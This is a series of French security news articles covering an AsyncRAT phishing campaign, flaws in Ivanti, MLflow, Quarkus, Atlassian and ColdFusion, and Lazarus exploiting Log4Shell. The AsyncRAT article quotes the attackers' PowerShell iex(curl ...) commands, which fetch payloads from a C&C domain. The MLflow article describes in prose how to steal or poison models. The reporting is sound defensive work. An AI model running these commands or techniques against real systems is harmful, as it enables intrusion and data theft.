Des attaquants à la manoeuvre derrière le trojan open source AsyncRAT ont utilisé plus de 300 échantillons de cet outil malveillant et plus de 100 domaines pour passer sous le radar.
Au cours des 11 derniers mois, un cybergang a ciblé les employés de diverses entreprises avec des courriels d’hameçonnage distribuant un programme trojan open source appelé AsyncRAT. Parmi les cibles figuraient des entreprises gérant des infrastructures clés aux États-Unis. Selon la division de cybersécurité Alien Labs d’AT&T, l’infrastructure de commande et de contrôle (C&C) des attaquants utilise un algorithme de génération de domaines (Domain Generation Algorithm, DGA) pour effectuer une rotation entre un grand nombre de domaines pour rendre le blocage du trafic plus difficile. Et aussi générer de nouveaux échantillons de l’outil malveillant pour éviter d’être détectés. Les chercheurs ont identifié plus de 300 échantillons et 100 domaines associés à cette campagne.
« Publié en 2019, l’outil d’accès à distance open source AsyncRAT est toujours disponible sur Github », indiquent les chercheurs dans leur rapport. « Comme tout outil d’accès à distance, il peut être exploité comme un cheval de Troie d’accès à distance (Remote Access Trojan, RAT), en particulier quand il est libre d’accès et d’utilisation comme c’est le cas ici. C’est une des raisons pour laquelle ce RAT est l’un des plus couramment utilisés. AsyncRAT se caractérise notamment par sa fonction d’enregistreur de frappes, les techniques d’exfiltration et/ou la mise en place d’un accès initial en vue de délivrer une charge utile finale. Il n’est pas rare que des acteurs malveillants, même chevronnés, utilisent des frameworks et des outils de logiciels malveillants open source. En effet, ils présentent plusieurs avantages, notamment des coûts de développement peu élevés par rapport aux outils personnalisés et un moindre risque puisque ces outils ne sont pas associés à un acteur en particulier. En fait, AsyncRAT lui-même a été utilisé en 2022 par un groupe APT que l’entreprise de sécurité Trend Micro identifie comme Earth Berberoka aka GamblingPuppet.
Des scripts de livraison bien obfusqués
Les courriels de phishing analysés par Alien Labs et d’autres chercheurs, dont Igal Lytzki de Microsoft, utilisaient une technique de détournement de thread pour diriger les utilisateurs vers une page d’hameçonnage, laquelle finissait par déposer un fichier JavaScript (.js) sur les ordinateurs des utilisateurs. Une fois ouvert dans le bloc-notes, le script faisait apparaître un grand nombre de mots anglais aléatoires commentés. Par le passé, dans le cadre d’autres campagnes, des chercheurs ont également signalé des variantes du script avec des caractères sanskrits. Le script est fortement obfusqué par des fonctions qui cachent et extraient le code malveillant réel de différentes parties du fichier. Son objectif est de télécharger la charge utile de deuxième étape à partir d’une URL, elle-même codée à l’aide d’un chiffrement personnalisé et de valeurs décimales au lieu de caractères ASCII.
La charge utile se présente sous forme d’un autre script codé écrit en PowerShell, exécuté directement en mémoire sans être sauvegardé sur le disque avec une commande “conhost -headless powershell iex(curl -useb sduyvzep[.]top/1.php?hash=)”. Le domaine du serveur C&C fait l’objet d’une rotation périodique. Le script PowerShell exécute encore un autre script PowerShell en invoquant la commande iex(curl -useb “http://sduyvzep[.]top/2.php?id=$env:computername&key=$wiqnfex”). Celle-ci envoie des informations au serveur C&C, comme le nom d’hôte de l’ordinateur et une variable appelée $wiqnfex qui indique si l’ordinateur est plutôt une machine virtuelle ou un bac à sable. Cette valeur est définie après vérification par le premier script de l’adaptateur de la carte graphique et le BIOS du système, et leur émulation possible dans une machine virtuelle. Si le serveur C&C détermine que $wiqnfex indique une cible valide, il déploie AsyncRAT. Si la valeur de la variable indique une VM ou un bac à sable possible, il redirige la demande vers Google ou vers un script PowerShell différent qui télécharge et lance un leurre RAT. « Une fois décompilé, le RAT fait office de leurre pour les chercheurs qui scrutent la campagne », expliquent les chercheurs d’Alien Lab. « Plusieurs raisons expliquent pourquoi l’échantillon se fait passer pour RAT. Le nom de l’assemblage est DecoyClient, et la configuration n’est pas chiffrée comme elle le serait dans un échantillon AsyncRAT. De plus, l’échantillon ne contient pas de serveur C&C, mais uniquement des adresses de bouclage. Enfin, parmi les données à exfiltrer vers le C&C, on trouve la chaîne de caractères “LOL” ».
Un domaine de commande et de contrôle supplémentaire chaque semaine
En plus de rendre régulièrement aléatoire le code des scripts et les échantillons de logiciels malveillants pour échapper à la détection, les attaquants changent également de domaine de commande et de contrôle (C&C) chaque semaine. Cependant, les chercheurs d’Alien Lab ont réussi à réaliser une rétro-ingénierie de l’algorithme de génération de domaines, qui, avec plusieurs autres constantes comme le domaine de premier niveau (Top Level Domain, TLD) (.top), le registrar, c’est-à-dire le bureau d’enregistrement du nom de domaine, et le nom de l’organisation utilisés pour enregistrer les domaines, ont pu trouver les domaines utilisés dans le passé et obtenir des échantillons antérieurs des scripts de déploiement. « Ces domaines présentent les mêmes caractéristiques que celles mentionnées précédemment, à la différence qu’ils sont composés de 15 caractères », expliquent les chercheurs. « Cela nous permet de pivoter et de trouver des échantillons historiques basés sur l’algorithme de génération de domaines (DGA), mais aussi de construire des détections pour identifier les infrastructures futures malgré tous leurs efforts pour échapper à l’EDR (Endpoint Detection and Response) et aux détections statiques ». Le rapport de la division de cybersécurité Alien Labs d’AT&T comprend des signatures de détection pour cette campagne, utilisables avec le système de détection d’intrusion open-source Suricata, ainsi qu’une liste d’indicateurs de compromission (Indicators of Compromise, IOC) qui peuvent servir à construire des détections pour d’autres systèmes.
La solution de gestion des terminaux bout de réseau d’Ivanti est touchée par une vulnérabilité critique. Si aucun exploit n’a encore été détecté, l’application d’un correctif doit être effectuée dès que possible.
Attention à une vulnérabilité découverte dans l’outil de surveillance de terminaux Endpoint Manager (EPM) d’Ivanti pour entreprises. Aujourd’hui corrigée, elle peut déboucher en cas d’exploit sur le piratage de terminaux endpoint gérés par cette solution. Le fournisseur conseille ainsi aux utilisateurs de déployer le correctif dès que possible, car les failles dans ce type d’outils sont des cibles attrayantes que les attaquants ont déjà exploité dans le passé. Cette faille, référencée CVE-2023-39336, affecte la version EPM 2022 SU4 et toutes les versions antérieures de la solution d’Ivanti, et affiche un score de criticité de 9,6 sur 10. Dans son bulletin, le fournisseur explique que cette faille d’injection SQL permet à des attaquants situés sur le même réseau d’exécuter des requêtes SQL arbitraires et de récupérer les résultats sans avoir besoin d’une authentification du serveur EPM. Une exploitation réussie peut conduire les attaquants à prendre le contrôle des machines exécutant l’agent EPM ou à exécuter un code arbitraire sur le serveur si ce dernier est configuré avec Microsoft SQL Express. Sinon, l’impact s’applique à toutes les instances de MSSQL.
Le 20 décembre, le fournisseur avait corrigé 20 vulnérabilités dans sa solution de gestion des terminaux mobiles d’entreprise (Enterprise Mobile Device Management, EDM) Avalanche. Même si pour le moment aucun rapport n’indique que ces failles ont été ciblées dans la nature, d’autres zero day dans les produits de gestion de terminaux d’Ivanti ont déjà été exploitées par le passé. En août, l’éditeur avait mis en garde ses clients contre une faille de contournement d’authentification dans son produit Sentry, anciennement connu sous le nom de MobileIron Sentry, une passerelle qui sécurise le trafic entre les terminaux mobiles et les systèmes d’entreprise backend. L’agence américaine de cybersécurité et de sécurité des infrastructures (cybersecurity and infrastructure security agency, CISA) avait alors ajouté ce trou de sécurité à son catalogue de vulnérabilités connues et exploitées « Known Exploited Vulnerabilities ».
Une faille dans EDM déjà corrigée en décembre 2023
En juillet 2023 des attaquants bénéficiant d’un soutien de niveau étatique, avaient exploité deux vulnérabilités zero day, référencées CVE-2023-35078 et CVE-2023-35081, dans la solution Endpoint Manager Mobile (EPMM) du même éditeur, anciennement connu sous le nom de MobileIron Core, pour s’introduire dans les réseaux du gouvernement norvégien. Par le passé, de nombreux acteurs malveillants spécialisés dans les attaques de ransomware ont exploité des failles dans des logiciels de gestion des terminaux, y compris des logiciels utilisés par des fournisseurs de services managés (Managed Services Providers, MSP), ce qui a pu avoir un impact sur des milliers d’entreprises. En raison de leurs capacités étendues et de leurs autorisations à privilèges sur les systèmes, ces agents de gestion peuvent être utilisés comme des chevaux de Troie d’accès distant s’ils sont détournés.
Des attaquants exploitent une faille dans la dernière version du framework open source MLflow spécialisé dans la gestion des tests d’apprentissage machine. Bien que corrigée, cette vulnérabilité ouvre encore la voie à du vol ou de la compromission de données de grands modèles de langage à distance.
L’année 2023 a été une année charnière pour l’intelligence artificielle générative (GenIA). La publication de grands modèles de langage (LLM) a montré la puissance de la technologie pour rendre les processus d’entreprise plus efficaces. Si bien que beaucoup d’entreprises ont cherché activement à adopter l’IA générative en entraînant des modèles sur leurs propres ensembles de données. Le développement et l’entraînement de modèles d’IA peuvent coûter cher au point de devenir l’un des actifs les plus précieux de l’entreprise. Il est donc important de garder à l’esprit que ces modèles sont susceptibles d’être volés ou attaqués, et que les systèmes qui les hébergent doivent être dotés de protections et de politiques de sécurité solides. Une récente vulnérabilité corrigée dans la plateforme open-source de gestion du cycle de vie des modèles d’apprentissage machine, MLflow, montre à la facilité avec laquelle des attaquants pourraient voler ou empoisonner des données d’entraînement sensibles lorsqu’un développeur visite un site web aléatoire sur Internet à partir de la même machine que celle où est exécuté MLflow. La faille, référencée CVE-2023-43472, a été corrigée dans la version 2.9.0 de MLflow. Ce n’est pas la première fois que cette plateforme expose les modèles d’IA et d’apprentissage machine stockés dans le cloud, cela avait été aussi le cas en mars dernier.
De nombreux développeurs pensent, à tort, que les services liés à localhost – le nom d’hôte interne d’un ordinateur – ne peuvent pas être ciblés depuis Internet. C’est ce qu’a expliqué Joseph Beeton, chercheur principal en sécurité des applications chez Contrast Security, lors d’une conférence consacrée à l’attaque des environnements de développement via des services localhost organisée fin novembre pendant la DefCamp 2023. En effet, de graves vulnérabilités découvertes récemment par Joseph Beeton dans le framework Java Quarkus et MLflow permettent à des attaquants distants d’exploiter localement les caractéristiques des interfaces de développement ou des API exposées par ces applications. Les attaques n’exigent de l’utilisateur qu’une visite sur un site web contrôlé par l’attaquant dans son navigateur ou sur un site légitime sur lequel l’attaquant a réussi à placer des publicités spécifiques.
Attaques contre le serveur local via un code JavaScript malveillant
Cela fait longtemps que les attaques « drive-by » par détournement de site existent, mais elles sont puissantes quand elles sont combinées à une vulnérabilité de type « cross-site request forgery » (CSRF) de falsification de requêtes intersites dans une application. Dans le passé, les pirates ont utilisé des attaques par détournement de site (drive-by attacks) via des publicités malveillantes placées sur des sites web afin de détourner les paramètres DNS des routeurs domestiques des utilisateurs. Normalement, les navigateurs n’autorisent le code JavaScript qu’à effectuer des requêtes vers des ressources de la même origine (domaine) que le script. Mais il est possible d’utiliser un mécanisme spécial appelé « partage de ressources inter-origines » (Cross-Origin Resource Sharing, CORS) pour contourner cette restriction et permettre aux scripts d’effectuer des requêtes à partir de différentes origines si le serveur cible l’autorise spécifiquement. Par exemple, si un morceau de code JavaScript chargé dans un navigateur du domaine A essaie de faire une demande au domaine B, le navigateur fera d’abord une demande dite de contrôle préalable pour vérifier si le domaine B a une politique CORS qui autorise les demandes scriptées du domaine A.
Même si cette restriction s’applique également à l’hôte local, Joseph Beeton fait remarquer qu’il existe un autre type de demande appelée « demande simple », toujours autorisée par la plupart des navigateurs (à l’exception de Safari) et qui ne déclenche pas de demande de contrôle préalable parce qu’elle est antérieure à la politique CORS. Par exemple, ces demandes sont utilisées par l’élément de la norme HTML pour soumettre des données d’une origine à l’autre, mais elles peuvent aussi être déclenchées par JavaScript. Une requête simple peut être de type GET, POST et HEAD et peut avoir le type de contenu application/x-www-form-urlencoded, multipart/form-data, text/plain ou aucun type de contenu. Avec une limite cependant : le script qui les crée ne reçoit pas de réponse en retour, à moins que le serveur cible ne l’accepte via l’en-tête Access-Control-Allow-Origin (contrôle d’accès-autorisation d’origine). Mais, du point de vue de l’attaque, il n’est pas vraiment nécessaire d’obtenir une réponse en retour tant que l’action prévue déclenchée par la demande se produit. C’est le cas des vulnérabilités MLflow et Quarkus.
Vol et empoisonnement de modèles d’apprentissage machine
Une fois MLflow installé, son interface utilisateur est accessible par défaut via http://localhost:5000 et supporte une API REST à travers laquelle il est possible d’effectuer des actions de manière programmatique. Normalement, l’interaction avec l’API se fait par via des requêtes POST avec un type de contenu application/JSON qui n’est pas autorisé pour les requêtes simples. Toutefois, M. Beeton a constaté que l’API de MLflow ne vérifiait pas le type de contenu des requêtes, et qu’elle autorisait les requêtes de type text/plain. Ceci permet des attaques « cross-origin » à distance à travers le navigateur via des requêtes simples. L’API dispose de fonctionnalités limitées telles que la création d’une nouvelle expérience ou le renommage d’une expérience existante, mais pas la suppression d’expériences.
De manière pratique, l’expérience par défaut dans MLflow, dans laquelle seront enregistrées les nouvelles données, est appelée « Default », de sorte que les attaquants peuvent d’abord envoyer une demande pour la renommer en « Old » et ensuite créer une nouvelle expérience, qui sera appelée « Default » mais aura un artifact_uri pointant vers un bucket de stockage S3 externe qu’ils contrôlent. « Une fois qu’une nouvelle exécution MLFLow est effectuée – par exemple, mlflow run sklearn_elasticnet_wine -P alpha=0.5, experiment-name Default – le résultat de l’exécution sera téléchargé dans le bucket S3 », a expliqué Joseph Beeton dans un billet de blog. Cela permettrait à l’attaquant d’obtenir une version sérialisée du modèle ML ainsi que les données utilisées pour l’entraîner. L’attaquant pourrait aller encore plus loin. « Étant donné qu’un modèle de ML est stocké dans le bucket, il serait possible d’empoisonner le modèle de ML lui-même », a déclaré le chercheur. « Dans une telle attaque, un adversaire est capable d’injecter de mauvaises données dans le pool d’entraînement du modèle, et lui faire apprendre quelque chose qu’il ne devrait pas », a ajouté le chercheur.
L’exécution de code à distance souvent possible
L’exécution de code à distance est également possible si l’attaquant modifie le fichier model.pkl pour y injecter un exploit Python Pickle. L’exécution de code à distance a aussi été possible dans le cas de la vulnérabilité de Quarkus, découverte par ailleurs par M. Beeton. Et celle-ci était également exploitable via des requêtes simples provenant de sites web distants parce que l’interface utilisateur Dev de l’application était liée à l’hôte local et ne disposait d’aucune protection supplémentaire contre les attaques par falsification des requêtes intersites CSRF. « Comme je l’ai démontré lors de la présentation au DefCamp, il est possible de générer une exécution de code à distance (Remote Code Execution, RCE) sur la machine du développeur ou sur d’autres services de son réseau privé », a déclaré le chercheur. « Étant donné que les développeurs ont un accès en écriture aux bases de code, aux clés AWS, aux identifiants de serveur, etc., l’accès à la machine du développeur donne à un attaquant une grande marge de manœuvre pour pivoter vers d’autres ressources sur le réseau, et pour modifier ou voler entièrement la base de code ».
Une cyberattaque vise des entreprises manufacturières, agricoles et de sécurité physique qui n’ont pas encore corrigé les vulnérabilités dans le code Log4j. Aux manettes le tristement célèbre groupe APT Lazarus qui continue à faire parler la poudre.
Corrigée il y a deux ans, la vulnérabilité Log4Shell reste un vecteur d’attaque populaire, même pour les attaquants. C’est ce que montre une campagne récemment documentée contre des entreprises de plusieurs secteurs par le groupe APT Lazarus, dirigé par l’État nord-coréen. Les cybercriminels ont exploité la faille Log4Shell référencée CVE-2021-44228 dans des serveurs VMware Horizon publics et non corrigés, et ont utilisé leur accès pour déployer des trojans d’accès à distance (Remote Access Trojan, RAT) personnalisés écrits en DLang, un langage de programmation rarement utilisé dans le développement de logiciels malveillants. Baptisée Operation Blacksmith par les chercheurs de Cisco Talos, cette campagne, qui semble avoir débuté en mars, se poursuit à ce jour. Les attaques sont probablement plus opportunistes que ciblées et les victimes recensées se trouvent dans les secteurs de la fabrication, de l’agriculture et de la sécurité physique.
Soutenues par gouvernement nord-coréen, les offensives menées par les équipes de pirates du groupe Lazarus (APT38) ont généralement un but de cyberespionnage et de sabotage. Les activités malveillantes du groupe remontent à plusieurs années et il partage certains de ses outils et infrastructures avec d’autres groupes APT nord-coréens. En fait, les chercheurs de Talos pensent que Lazarus est très probablement composé de différents sous-groupes qui mènent leurs propres actions et développent des malwares sur mesure pour leurs cibles. Ces sous-groupes peuvent avoir des objectifs différents et ne se coordonnent pas toujours entre eux, malgré des chevauchements occasionnels. « Au cours de son analyse, Talos a constaté un certain chevauchement avec les attaques malveillantes divulguées par Microsoft en octobre 2023, attribuant l’activité à Onyx Sleet, également connu sous le nom de PLUTONIUM ou Andariel », ont déclaré les chercheurs de Talos dans leur rapport sur l’opération Blacksmith. La campagne Andariel documentée par Microsoft exploitait la faille référencée CVE-2023-42793, une vulnérabilité critique affectant le serveur JetBrains TeamCity, un outil CI/CD utilisé en DevOps. Le point commun avec l’opération Blacksmith de Lazarus est l’utilisation d’un outil proxy personnalisé appelé HazyLoad, qui n’a été observé que dans ces deux campagnes.
Une porte de sortie créée par les cyberpirates
Cependant, les autres implants de logiciels malveillants étaient différents. Dans Blacksmith, les attaquants ont déployé trois malwares différents écrits en DLang, un langage de programmation publié à l’origine en 2001 inspiré du C++, mais enrichi de nombreuses fonctionnalités et paradigmes empruntés à d’autres langages. DLang est un choix inhabituel pour le développement de logiciels malveillants, mais Lazarus est connu pour recourir à des technologies non traditionnelles, comme ce fut le cas précédemment avec QtFramework et PowerBasic. L’un des implants basés sur DLang déployés lors de la phase de post-exploitation est baptisé NineRAT. Ce Remote Access Trojan utilise Telegram comme canal de commande et de contrôle (C2). « Quand NineRAT est activé, le logiciel malveillant devient le principal moyen d’interaction avec l’hôte infecté », ont expliqué les chercheurs de Talos. « Cependant, les mécanismes de portes dérobées précédemment déployés, notamment l’outil de proxy inverse HazyLoad, restent en place. Les multiples outils fournissent au groupe Lazarus des entrées de porte dérobée qui se chevauchent, avec des redondances au cas où un outil serait découvert, ce qui permet un accès très persistant », ont-ils ajouté.
En utilisant les échantillons de NineRAT comme référence, les chercheurs de Talos ont réussi à localiser deux autres implants basés sur un code similaire. Le premier est un téléchargeur également écrit en DLang que les chercheurs ont baptisé BottomLoader. Son objectif est de télécharger une charge utile supplémentaire à partir d’une URL codée en dur à l’aide d’une commande PowerShell. Le second implant, plus sophistiqué, est à la fois un téléchargeur de charge utile et un cheval de Troie d’accès à distance, baptisé DLRAT. Contrairement à NineRAT, DLRAT n’utilise pas Telegram comme canal de commande et de contrôle (C2), mais il envoie des informations sur l’hôte infecté via HTTP à un serveur web C2. En retour, les attaquants peuvent lui demander de télécharger des fichiers locaux sur le serveur, de renommer des fichiers et de télécharger des charges utiles supplémentaires. « Les auteurs de la menace ont aussi créé un compte utilisateur supplémentaire sur le système, lui accordant des privilèges d’administration », ont déclaré les chercheurs. « Talos avait documenté ces Tactiques, techniques et procédures (TTP) plus tôt cette année, mais l’activité observée précédemment visait à créer des comptes utilisateurs non autorisés au niveau du domaine. Dans cette campagne, les opérateurs ont créé un compte local, qui correspond au compte utilisateur documenté par Microsoft : krtbgt ».
Log4j, une aubaine pour les pirates
Signalée pour la première fois le 9 décembre 2021, la faille Log4Shell se trouve dans une bibliothèque Java très populaire appelée Log4j. En raison de l’utilisation répandue de cette bibliothèque, la vulnérabilité a touché des millions d’applications Java, qu’il s’agisse d’applications développées en interne par des entreprises ou de produits commerciaux proposés par de nombreux développeurs de logiciels. Des correctifs ont été mis à disposition pour Log4j quelques jours après l’annonce de la vulnérabilité, mais il a fallu des mois pour que tous les fournisseurs concernés publient des correctifs et que les entreprises mettent à jour leurs applications internes. Malgré la grande publicité faite autour de cette faille, il semble que, deux ans plus tard, un nombre suffisamment important de systèmes sont toujours vulnérables pour que des groupes comme Lazarus continuent à utiliser l’exploit. Selon l’entreprise de gestion de la chaîne d’approvisionnement en logiciels Sonatype, qui gère également le dépôt central de composants Java, plus de 20 % des téléchargements de Log4j concernent toujours des versions vulnérables.
L’entreprise Veracode, spécialisée dans la sécurité des applications, signale que, d’après ses propres données télémétriques, seules 2,8 % des applications testées utilisent encore des versions de Log4j présentant les vulnérabilités Log4Shell. Cependant, 3,8 % supplémentaires utilisent une version de Log4j 2.x vulnérable à un autre problème de haute gravité référencé CVE-2021-44832 et un tiers de toutes les applications qui incluent Log4j continuent d’utiliser l’ancienne série 1.x de la bibliothèque qui a atteint sa fin de vie et n’a pas reçu de correctifs de sécurité depuis longtemps. Même si Log4j 1.x n’est pas affecté par la faille Log4Shell, il présente actuellement sept autres vulnérabilités importantes et critiques qui n’ont pas été corrigées. « Nos recherches ont également montré que lorsque les développeurs sont alertés par une analyse de la vulnérabilité d’une bibliothèque, ils la corrigent assez rapidement : 50 % des vulnérabilités sont corrigées en 89 jours au total, en 65 jours pour les vulnérabilités de gravité élevée et en 107 jours pour les vulnérabilités de gravité moyenne », a déclaré Chris Eng, responsable de la recherche chez Veracode, dans un billet de blog. « Cela contredit les données de Log4j ci-dessus, qui montrent que la correction n’est pas rapide pour cette bibliothèque open source, en particulier pour Log4j 1.2.x », a-t-il ajouté.
Encore des vulnérabilités corrigées dans les solutions Jira et Confluence d’Atlassian qui a publié des alertes de sécurité pour des fuites de données de haute sévérité et des problèmes de déni de service.
Afin de corriger des vulnérabilités d’exécution de code à distance et de déni de service, Atlassian a livré des correctifs urgents pour plusieurs de ses produits. Des failles ont déjà été exploitées, parfois peu de temps après la publication d’un correctif ou même avant qu’un patch ne soit disponible. En octobre, Atlassian a déjà publié un correctif d’urgence pour un problème de contrôle d’accès affectant les versions sur site de Confluence Server et Data.
La faille référencée CVE-2023-22515 permettait à des attaquants non authentifiés de créer des comptes administrateur. Elle était déjà exploitée dans la nature en tant que vulnérabilité zero-day au moment où l’entreprise a publié le correctif. Début novembre, quelques jours seulement après la publication du correctif, des attaquants ont commencé à exploiter une autre vulnérabilité critique dite Improper Authorization Vulnerability (CVE-2023-22518) dans Confluence Data Center et Server. Les failles plus anciennes de Confluence exploitées en tant que vulnérabilités zero day ou n-day par plusieurs groupes d’attaquants incluent les références CVE-2022-26134, CVE-2021-26084, et CVE-2019-3396. Les clients sont donc invités à appliquer les patchs de décembre publiés dernièrement dès que possible.
Failles d’injection et de désérialisation des modèles de Confluence
L’une des vulnérabilités critiques corrigées la semaine dernière propose à des attaquants anonymes authentifiés d’injecter du code non sécurisé dans des pages sur les instances affectées de Confluence Data Center et Confluence Server. Cette faille portant la référence CVE-2023-22522 est qualifiée de problème d’injection de modèle par Atlassian. Selon le fournisseur, elle peut conduire à l’exécution de code à distance sur le serveur. La faille affecte toutes les versions de Confluence Data Center et Server à partir de la version 4.0.0 ainsi que les versions autonomes 8.6.0 et 8.6.1 de Confluence Data Center. La plupart des versions concernées sont en fin de vie et ne sont plus prises en charge. La société conseille aux utilisateurs de Confluence Server de se mettre à niveau vers les versions 7.19.17 (LTS), 8.4.5 ou 8.5.4 (LTS) et aux utilisateurs de Confluence Data Center de se mettre à niveau vers les versions 8.6.2 ou 8.7.1. La vulnérabilité n’offre pas d’autres atténuations possibles, mais Atlassian conseille aux clients de sauvegarder leur instance et de la retirer de l’Internet s’ils ne peuvent pas appliquer le correctif immédiatement.
Une autre vulnérabilité critique corrigée la semaine dernière résulte d’un problème de désérialisation Java hérité d’une bibliothèque d’analyse tierce appelée SnakeYAML. Cette vulnérabilité, référencée CVE-2022-1471, a été corrigée dans SnakeYAML il y a un an. Depuis, trois autres failles, deux de gravité élevée et une qualifiée de critique, ont été signalées dans SnakeYAML. On ne sait pas trop pourquoi Atlassian a attendu jusqu’à maintenant pour publier un avis, mais la liste des produits affectés est longue :
• Application Automation for Jira (y compris l’édition Server Lite)
• Bitbucket Data Center
• Bitbucket Server
• Confluence Data Center
• Confluence Server
• Confluence Cloud Migration App
• Jira Core Data Center
• Jira Core Server
• Jira Service Management Data Center
• Jira Service Management Server
• Jira Software Data Center
• Jira Software Server
Exécution de code à distance dans les applications compagnons Jira
Certains déploiements Jira ne sont affectés que si une version vulnérable de l’application Automation for Jira (A4J) est également installée. Entre-temps, les instances Confluence sont affectées si elles exécutent une version vulnérable de l’application Confluence Cloud Migration Assistant (CCMA). Cette application est installée par défaut. Atlassian fournit plus d’informations sur chaque produit affecté et les scénarios dans lesquels ils sont vulnérables dans une FAQ qui accompagne l’avis.
Une autre exécution de code à distance, référencée CVE-2023-22523, a été corrigée dans l’outil Assets Discovery qui peut être utilisé avec Jira Service Management Cloud, Jira Service Management Server et Jira Service Management Data Center. Assets Discovery (anciennement connu sous le nom d’Insight Discovery) est un outil autonome que l’on peut installer à partir de la place de marché d’Atlassian. Il est utilisé pour scanner le réseau local à la recherche d’actifs matériels et logiciels et pour collecter des informations à leur sujet. Atlassian conseille aux clients de désinstaller les agents Assets Discovery, d’appliquer le correctif Assets Discovery, puis de réinstaller les agents. Pour Jira Service Management Cloud, l’entreprise conseille vivement aux utilisateurs de déployer Assets Discovery 3.2.0-cloud ou une version plus récente et pour Jira Service Management Data Center et Server, Assets Discovery 6.2.0 ou une version plus récente. Une faille d’exécution de code à distance, référencée CVE-2023-22524, a également été corrigée dans l’application Atlassian Companion App pour MacOS. Il s’agit d’une application de bureau complémentaire qui permet aux utilisateurs Mac d’éditer des fichiers localement sur leurs ordinateurs avant de les télécharger vers les instances de Confluence. En tant que tel, le danger d’exécution de code à distance (Remode Code Execution, RCE) pour cette faille se réfère à la machine macOS elle-même, et non au serveur Confluence. Il est conseillé aux utilisateurs de mettre à jour l’application vers la version 2.0.0 ou ultérieure.
Des fuites de données et des dénis de service de grande ampleur
Atlassian a publié aussi une autre série d’avis de sécurité couvrant huit failles de gravité élevée dans plusieurs produits. Ces problèmes peuvent entraîner une exposition des données et des dénis de service et ont été corrigés dans de nouvelles versions de produits le mois dernier. Certains proviennent de bibliothèques tierces. La communication autour de ces failles, qui ont été découvertes dans le cadre du programme de récompense des bogues de l’entreprise et de tests internes, marque un changement dans la politique de divulgation des vulnérabilités d’Atlassian. Jusqu’à présent, l’entreprise ne divulguait que les vulnérabilités de gravité critique de première partie, mais cette politique a été étendue aux vulnérabilités de gravité élevée. « Même si ce changement se traduit par une augmentation de la visibilité et des divulgations, cela ne signifie pas qu’il y a plus de vulnérabilités », a déclaré l’entreprise. « Cela signifie plutôt que nous adoptons une approche plus proactive de la transparence des vulnérabilités et que nous nous engageons à fournir à nos clients les informations dont ils ont besoin pour prendre des décisions éclairées concernant la mise à jour de nos produits ».
Les huit failles de gravité élevée portent les références suivantes :
• CVE-2020-25649 (Jira Software Data Center and Server)
• CVE-2022-28366 (Jira Service Management Data Center and Server)
• CVE-2022-29546 (Jira Service Management Data Center and Server)
• CVE-2022-24839 (Jira Service Management Data Center and Server)
• CVE-2023-44487 (Crowd Data Center and Server)
• CVE-2021-31684 (Confluence Data Center and Server)
• CVE-2023-3635 (Bitbucket Data Center and Server)
• CVE-2023-5072 (Bamboo Data Center and Server)
La CISA a alerté contre l’exploitation d’une faille dans ColdFusion d’Adobe dans une campagne menée contre des agences gouvernementales américaines. Le régulateur pousse ces dernières à corriger rapidement la vulnérabilité dans le framework de développement d’applications Web et mobiles.
Encore une fois, la CISA (Cybersecurity and Infrastructure Security Agency) équivalent de l’Anssi aux Etats-Unis a lancé une alerte concernant une faille exploitée par des cybercriminels. En l’occurrence, il s’agit d’une vulnérabilité présente dans la solution de développement d’applications Web et mobiles, ColdFusion d’Adobe. Selon le régulateur, elle a servi en juin dernier dans deux attaques contre des agences fédérales. Les attaquants ont utilisé ce moyen pour déployer des shells web et collecter des informations afin de se déplacer latéralement dans les environnements.
Dans les deux cas, les instances ColdFusion compromises étaient obsolètes, car un correctif était disponible depuis le mois de mars pour la vulnérabilité exploitée. « L’analyse suggère que l’activité malveillante des acteurs de la menace avait un but de reconnaissance pour cartographier le réseau dans son ensemble », a déclaré la CISA dans son avis, sans attribuer les attaques à un groupe connu. « Pour l’instant, aucune preuve ne permet de confirmer une exfiltration de données réussie ou un mouvement latéral au cours de l’un ou l’autre incident », ajoute-t-elle.
Une vulnérabilité de désérialisation critique
La vulnérabilité exploitée dans les deux incidents, répertoriée sous la référence CVE-2023-26360, est une faille de désérialisation critique qui peut être exploitée pour exécuter du code à distance. Elle affecte les versions 2021 et 2018 de ColdFusion, ainsi que des versions plus anciennes qui ne sont plus supportées. La faille a été corrigée en mars, en même temps qu’une autre brèche similaire (CVE-2023-26359) et qu’un problème de traversée de répetoire. En programmation, la sérialisation désigne le processus de conversion des données en un flux d’octets, généralement pour les transmettre par câble. La désérialisation est l’inversion de ce processus et, comme la plupart des opérations d’analyse de données dans les logiciels, elle peut être source de vulnérabilités si les utilisateurs contrôlent l’entrée.
Pendant des années, les applications Java ont été affectées par ce type de vulnérabilités non sûres et la plate-forme serveur ColdFusion pour l’exécution d’applications CFML (ColdFusion Markup Language), est écrite en Java. Les failles de désérialisation ne sont pas rares dans ColdFusion. Depuis le mois de mars, Adobe a corrigé six autres brèches de ce type, jugées critiques et susceptibles d’entraîner l’exécution d’un code arbitraire, dont trois le mois dernier. Les attaquants cherchent également à les exploiter, et une faille de désérialisation de ColdFusion corrigée en juillet fait l’objet d’une exploitation active dans la nature.
Le serveur sous-jacent ciblé
Même si ColdFusion est un logiciel multiplateforme, il est généralement déployé sur des serveurs Windows utilisant le serveur web IIS. Ce qui en fait une cible attractive pour les pirates, car le serveur sous-jacent peut contenir des comptes et d’autres informations pouvant facilter des mouvements latéraux au sein du réseau Windows d’une entreprise. Dans les deux cas, les attaquants ont utilisé la vulnérabilité pour télécharger des fichiers cryptés avec l’extension .txt qui ont ensuite été décodés à l’aide de l’utilitaire Certutil WIndows en fichiers .jsp qui ont servi de shells web – des scripts de backdoor qui offrent aux attaquants d’exécuter des commandes à distance sur un serveur. Dans l’un des incidents, les cybercriminels ont créé un dossier de préparation dans lequel ils ont déposé plusieurs utilitaires : un fichier DLL d’exportation de cookies qui fait partie du navigateur Edge de Microsoft, un scanner de ressources réseau appelé fscan.exe, une copie du compilateur de ressources Microsoft et d’autres exécutables. Le shell web malveillant contenait également un code qui tentait de décrypter les mots de passe des sources de données ColdFusion.
